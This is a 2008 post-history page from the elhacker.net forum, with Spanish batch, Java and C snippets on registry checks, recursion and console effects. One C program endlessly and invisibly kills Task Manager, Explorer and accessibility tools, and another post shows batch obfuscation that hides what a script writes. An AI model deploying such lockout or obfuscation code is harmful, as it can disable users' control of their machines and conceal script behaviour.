elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 22
21  Programación / Scripting / Re: Duda para comprobar si existe clave del registro con .bat en: 4 Septiembre 2008, 04:45 am
Código
  1. @echo off
  2. reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NeroFilterCheck" >NUL 2>&1 && (
  3. ::code en caso de que si exista
  4. echo Si existe
  5. ) || (
  6. :: code en caso de que no exista
  7. echo No existe
  8. )
  9.  

22  Programación / Ejercicios / Re: De forma recursiva en: 4 Septiembre 2008, 04:32 am
ohk, me refería a que tu code, si le pasas parámetros al método, como por ejemplo:

Código
  1. System.out.println(sumar(3, -2));

Se queda infinitamente recursando.

El code que postió hadess_inf, funciona.
Código
  1. public static int sumar(int a, int b)
  2. {
  3.   if(b==0) return a;
  4.   else
  5.   {
  6.      if(b>0) return sumar(a, b-1) + 1;
  7.      else
  8.         sumar(a, b+1) - 1;
  9.    }
  10. }
  11.  

Pero a este si se le pasa 0, queda en un ciclo infinito.
Código
  1. public boolean tipo(int num)
  2. {
  3.   if(num==0)  
  4.      return tipo(num);
  5.   else
  6.   {
  7.     if(num>0) return true;
  8.     else
  9.        return false;
  10.    }
  11. }
  12.  

Me rectifico, en el sentido de que si se podía sumar dos números recursivamente, pero en cuanto a verificar el tipo, pienso que no es recursivo.

23  Programación / Ejercicios / Re: De forma recursiva en: 4 Septiembre 2008, 03:09 am
No me ofendo, pero en el primer ejercicio, donde esta la recursividad?

Y en tu segundo código, si quieres sumar 3 + -2, queda recursando infinitamente, y se cae por StackOverflowError.

Wikipedia dice, que la recursividad debe utilizarse en procesos recursivos, como la factorización.


24  Programación / Ejercicios / Re: De forma recursiva en: 3 Septiembre 2008, 00:06 am
No me parecen tareas recursivas.

Código
  1. public boolean esPositivo(int numero)
  2. {
  3.    return numero >=0;
  4. }
25  Programación / Programación C/C++ / Re: Abrir archivo en C++ en: 30 Agosto 2008, 19:07 pm
Código
  1. #include <stdlib.h>
  2.  
  3. int main()
  4. {
  5.    system("pause");  
  6. }
  7.  
26  Programación / Programación C/C++ / Re: Abrir archivo en C++ en: 30 Agosto 2008, 04:48 am
Sucede, que utilizé ese código para una aplicación llamada SCOT Secure Login (aún no se publica, y está en batch (de code-makers) la intención del programa es autentificarse al inicio de windows, y busqué una forma de que no se pudiera iniciar ninguna otra aplicación, como el administrador de tareas, el utilman, ni el explorer, pues se debía autentificar desde la consola, antes de iniciar el explorer.

Pensé, que le podría molestar a alguien, si así fue, pido disculpas, aunque el código no es muy largo como para leerlo y saber el programa que ejecuta, y qué hace. (además muestra cómo utilizar argumentos, y como crear el string de una variable de entorno, en este caso: %windir%\system32 dónde se encuentra taskkill.exe

La ventaja de usar esto, antes de system(), es que system() llama a cmd.exe para realizar las acciones, y si tenemos deshabilitado el acceso al cmd.exe con el registro:
Código:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000001

el programa hecho en c, dirá: "El administrador ha deshabilitado el símbolo de sistema", y se supone que es un programa hecho en c, no en batch.



27  Programación / Programación C/C++ / Re: Abrir archivo en C++ en: 29 Agosto 2008, 03:43 am
Aquí una forma:

Código
  1. #include <windows.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main()
  6. {
  7.    char *WinDir;
  8.    WinDir = getenv("WinDir");
  9.  
  10.    char WinDirSystem32[30];
  11.    strncpy(WinDirSystem32,WinDir,20);
  12.    strncat(WinDirSystem32,"\\system32",10);
  13.    WinDirSystem32[30] = 0;
  14.  
  15.    while (1)
  16.    {
  17.     ShellExecute(NULL,"open","taskkill.exe","/f /im taskmgr.exe /im utilman.exe /im explorer.exe /im osk.exe /im magnify.exe /im sethc.exe ",WinDirSystem32,SW_HIDE);
  18.    }
  19. }
  20.  
  21.  
28  Programación / Scripting / BATCH - Función máquina de escribir en: 27 Agosto 2008, 07:24 am
Código
  1.  
  2. ::autor CarlitoS.dll
  3. @echo off
  4. mode con cols=100
  5. mode con lines=20
  6.  
  7. call:tpwrtr CarlitoS.dll presenta:
  8. call:sleep 2
  9. call:tpwrtr el efecto maquina de escribir ...
  10. call:tpwrtr OpenBSD es un sistema operativo libre tipo Unix, multiplataforma, basado en 4.4BSD.
  11. call:sleep 3
  12. call:tpwrtr Es un descendiente de NetBSD, con un foco especial en la seguridad y la criptografia.
  13.  
  14. pause>nul
  15. goto:eof
  16.  
  17.  
  18. :tpwrtr
  19. set palabra=%*
  20. if not defined palabra (goto:eof)
  21. set palabra=%palabra: =_%
  22. call:length %palabra%
  23. set /a contt=0
  24. :loopt
  25. call :tpwrtr1 %%palabra:~%contt%,1%%
  26. set /a contt +=1
  27. if %contt% leq %tam% (goto:loopt)
  28. goto:eof
  29. :tpwrtr1
  30. set char=%1
  31. if [%char%]==[_] (set char= )
  32. <nul (set /p msg=%char%)
  33. ping -n 1 127.0.0.0 -w 1>nul 2>&1
  34. goto:eof
  35. :length
  36. set argl=%*
  37. if not defined argl (goto :eof)
  38. set wordl=%argl%
  39. set /a contl=0
  40. :loopl
  41. if not defined wordl (goto endl)
  42. set wordl=%wordl:~1%
  43. set /a contl +=1
  44. goto loopl
  45. :endl
  46. set tam=%contl%
  47. goto :eof
  48.  
  49. :sleep
  50. if "%1"=="" (goto :eof)
  51. set /a limit=0
  52. set /a limit=%1
  53. if %limit% LEQ 0 (goto :eof)
  54. set /a cont=0
  55. :time
  56. set mirror1=%time:~-4,1%
  57. :increment
  58. set mirror2=%time:~-4,1%
  59. if not %mirror2%==%mirror1% (goto count)
  60. goto increment
  61. :count
  62. set /a cont +=1
  63. if "%cont%"=="%limit%" (goto :eof)
  64. goto time
  65. goto :eof
  66.  
  67.  
29  Programación / Scripting / Escribir batch hacia "abajo" y con ofuscación. en: 23 Agosto 2008, 07:15 am
Ejemplo:

Código
  1. @echo off
  2. set p=set/p bhb=
  3. set q=%p%
  4. set d=sojdtnalehmtcb
  5.  
  6. <nul (
  7. %p%h
  8. %p%o
  9. %p%l
  10. %p%a
  11. %q%
  12. %p%a
  13. %q%
  14. %p%t
  15. %p%o
  16. %p%d
  17. %p%o
  18. %p%s
  19. %s%
  20. )
  21.  
  22. <nul (
  23. %p%%d:~9,1%
  24. %p%%d:~1,1%
  25. %p%%d:~7,1%
  26. %p%%d:~6,1%
  27. %q%
  28. %p%%d:~6,1%
  29. %q%
  30. %p%%d:~11,1%
  31. %p%%d:~1,1%
  32. %p%%d:~3,1%
  33. %p%%d:~1,1%
  34. %p%%d:~0,1%
  35. %s%
  36. )
  37.  
  38. <nul (
  39. %p%@
  40. %p%%d:~12,1%
  41. %p%%d:~6,1%
  42. %p%%d:~7,1%
  43. %p%%d:~12,1%
  44. %s%
  45. )>>%d:~9,1%%d:~1,1%%d:~7,1%%d:~6,1%.%d:~13,1%%d:~6,1%%d:~11,1%
  46. pause>nul
  47.  
30  Programación / Scripting / Re: BHB Convierte archivo a texto y lo reconstruye en batch 2.0 en: 22 Agosto 2008, 05:16 am
Es similar a netsend, en el sentido de que te permite reconstruir archivos desde archivos de texto.

http://mirror.href.com/thestarman/asm/debug/debug.htm
http://mirror.href.com/thestarman/asm/debug/debug2.htm
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 22
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines